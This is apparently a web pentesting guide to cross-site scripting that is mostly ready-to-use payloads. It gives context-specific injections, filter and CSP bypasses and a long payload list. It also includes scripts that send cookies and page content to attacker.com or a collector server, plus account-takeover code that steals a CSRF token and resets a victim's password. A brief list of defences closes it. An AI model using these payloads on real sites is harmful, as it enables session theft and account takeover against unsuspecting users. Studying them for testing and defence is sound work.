XSS is far more than just <script>alert(1)</script>. This guide covers every variant, context-specific injection, CSP bypass, and advanced exploitation technique you need for modern web pentesting.
Types of XSS Reflected — payload is in the request, reflected in the immediate response. One-time execution, requires victim to click a crafted link.
Stored — payload persists in the database and executes for every user that loads the affected page. Much higher impact.
DOM-based — the vulnerability is in client-side JavaScript that reads from attacker-controlled sources (location.hash, document.referrer, postMessage) and writes to sinks (innerHTML, eval, document.write).
Mutation XSS (mXSS) — the browser’s HTML parser mutates a sanitized string back into executable markup. Found in sanitizers like DOMPurify (older versions).
Context-Aware Injection The correct payload depends entirely on where your input lands.
HTML body context <img src =x onerror =alert(1) > <svg onload =alert(1) > <details open ontoggle =alert(1) > <body onpageshow =alert(1) > <input autofocus onfocus =alert(1) >
HTML attribute context If your input lands inside a quoted attribute value:
" onmouseover="alert(1) " autofocus onfocus="alert(1)
If the attribute is unquoted:
x onmouseover=alert(1) y=
If inside href or src:
JavaScript string context If you’re inside a JS string literal:
'; alert(1);// \'; alert(1);// </script><script>alert(1)</script>
Inside JSON
Template literal context
Filter Bypass Techniques Case and encoding <ScRiPt > alert(1)</ScRiPt > <img src =x oNeRrOr =alert(1) > <img src =x onerror =alert(1) > <img src =x onerror =alert(1) >
Avoiding parentheses alert`1` alert.call `${1 } ` [1 ].map (alert)
Avoiding keywords top['al' +'ert' ](1 )window [atob ('YWxlcnQ=' )](1 )eval ('ale' +'rt(1)' )
Breaking up the payload <scr<script > ipt>alert(1)</scr</script > ipt><img src ="x" onerror ="ale rt(1)" >
Protocol tricks <a href ="javas	 cript:alert(1)" > click</a > <a href ="javas cript:alert(1)" > click</a > <a href ="data:text/html,<script>alert(1)</script>" > click</a >
DOM-Based XSS Dangerous sources location.href location.hash location.search document .referrer window .name postMessage datalocalStorage / sessionStorage
Dangerous sinks innerHTML outerHTMLdocument .write ()document .writeln ()eval ()setTimeout () / setInterval () with string argFunction () $.html () location.href = untrustedInput
Example vulnerable code document .getElementById ('output' ).innerHTML = location.hash .slice (1 );
postMessage XSS window .addEventListener ('message' , function (e ) { document .getElementById ('msg' ).innerHTML = e.data ; }); target.postMessage ('<img src=x onerror=alert(document.cookie)>' , '*' );
Session Hijacking Payload fetch ('https://attacker.com/steal?c=' +btoa (document .cookie ))new Image ().src ='https://attacker.com/steal?c=' +encodeURIComponent (document .cookie )var x=new XMLHttpRequest (); x.open ('GET' ,'https://target.com/api/user' ,true ); x.withCredentials =true ; x.onload =function ( ){fetch ('https://attacker.com/?d=' +btoa (x.responseText ))}; x.send ();
CSP Bypass Check the CSP header first:
Content-Security-Policy : script-src 'self' https :
Bypass with allowed CDN If a CDN that hosts Angular, jQuery, or JSONP endpoints is whitelisted:
<script src ="https://cdn.example.com/angular.min.js" > </script > <div ng-app ng-csp > {{$eval.constructor('alert(1)')()}}</div > <script src ="https://cdn.example.com/api/v1?callback=alert(1337)" > </script >
unsafe-inline with nonce leakIf a nonce is reflected:
<script nonce ="abc123" > alert(1)</script >
script-src 'none' with base tag<base href ="https://attacker.com/" >
default-src 'self' with iframe + srcdoc<iframe srcdoc ="<script>alert(parent.document.cookie)</script>" > </iframe >
Dangling markup for data exfiltration (no script exec needed) <img src ='https://attacker.com/?data=
Reads until next ' character, exfiltrating markup including tokens/CSRF values.
XSS to Account Takeover Change email via XSS fetch ('/account/change-email' , { method : 'POST' , headers : {'Content-Type' : 'application/x-www-form-urlencoded' }, body : 'email=attacker@evil.com' , credentials : 'include' });
CSRF token exfil + use fetch ('/settings' , {credentials :'include' }) .then (r => r.text ()) .then (h => { var t=h.match (/name="csrf_token" value="([^"]+)"/ )[1 ]; return fetch ('/settings/change-password' ,{ method :'POST' , headers :{'Content-Type' :'application/x-www-form-urlencoded' }, body :'csrf_token=' +t+'&password=hacked123' , credentials :'include' }); });
Blind XSS Use when you can’t observe the execution directly (admin panels, ticket systems, log viewers).
Payload:
<script src="https://your.server/xss.js" ></script>
xss.js on your server:
var data = { cookie : document .cookie , url : location.href , html : document .documentElement .innerHTML .substring (0 , 5000 ) };fetch ('https://your.server/collect?' +new URLSearchParams (data));
Tools: XSS Hunter , interactsh , self-hosted webhook.
Quick Payload List <script > alert(1)</script > <img src =x onerror =alert(1) > <svg onload =alert(1) > <iframe onload =alert(1) > </iframe > <body onpageshow =alert(1) > <details open ontoggle =alert(1) > <marquee onstart =alert(1) > <input autofocus onfocus =alert(1) > <video src =1 onerror =alert(1) > <audio src =1 onerror =alert(1) > javascript:alert(1)<a href =javascript:alert(1) > click</a > <form action =javascript:alert(1) > <input type =submit > "><script > alert(1)</script > '><img src =x onerror =alert(1) > </textarea > <script > alert(1)</script > </script > <script > alert(1)</script > ${alert(1)} {{constructor.constructor('alert(1)')()}}
Output-encode all user data in the correct context (HTML encode for HTML, JS encode for scripts, URL encode for URLs).
Use a strong CSP with nonces, avoid unsafe-inline and unsafe-eval.
Set HttpOnly on session cookies so XSS can’t read them directly.
Validate Content-Type on API responses.
Use a modern framework that auto-escapes by default (React, Vue, Angular).
No comments yet. Be the first.